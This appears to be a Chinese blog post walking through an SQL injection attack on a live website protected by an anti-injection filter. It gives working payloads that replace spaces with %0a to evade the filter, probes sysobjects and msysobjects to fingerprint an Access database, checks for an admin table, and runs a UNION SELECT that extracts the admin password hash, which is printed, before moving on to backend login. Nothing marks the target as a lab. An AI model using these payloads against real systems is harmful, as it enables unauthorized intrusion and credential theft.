zoukankan      html  css  js  c++  java
  • SQL绕过实例

    简单判断是否存在注入

    发现有防注入系统,在网站地址后加入“-0”和“/”进行测试

    明显存在SQL注入。

    post提交无法绕过

    在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图所示,结果无任何变化,说明直接post提交无法绕过。

    使用%09(也就是tab键)可以绕过,经过测试还是不行,如图所示,用%0a(换行符)替换下空格成功绕过

    通过and (select count(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:

    and%0a(select%0acount(*)%0afrom%0asysobjects)>0

    and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

    其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。

    通过order by判断列名

    判断是否存在admin表

    and (select count(*) from admin)>0

    and%0a(select%0acount(*)%0afrom%0aadmin)>0

    判断是否存在user以及pass字段

    and %0a (select%0acount(user) %0afrom%0aadmin)>0

    and%0a (select%0acount(pass) %0afrom%0aadmin)>0

    获取管理员密码

    id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”

    id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码

    登录后台

  • 相关阅读:
    数据结构学习之前言,为年后换新工作做准备
    马云不想成为“马云”
    2014找工作总结-机会往往留给有准备的人
    数据分析≠Hadoop+NoSQL,不妨先看完善现有技术的10条捷径
    做个犀利的码农:如何持续培养/更新自己的开发技能
    Google七夕情人节Doodle背后技术揭秘
    把帖子用循环显示出来
    php验证登录
    用户注册
    form 表单用php来跳转页面
  • 原文地址:https://www.cnblogs.com/zhaosimeng/p/7102006.html
Copyright © 2011-2022 走看看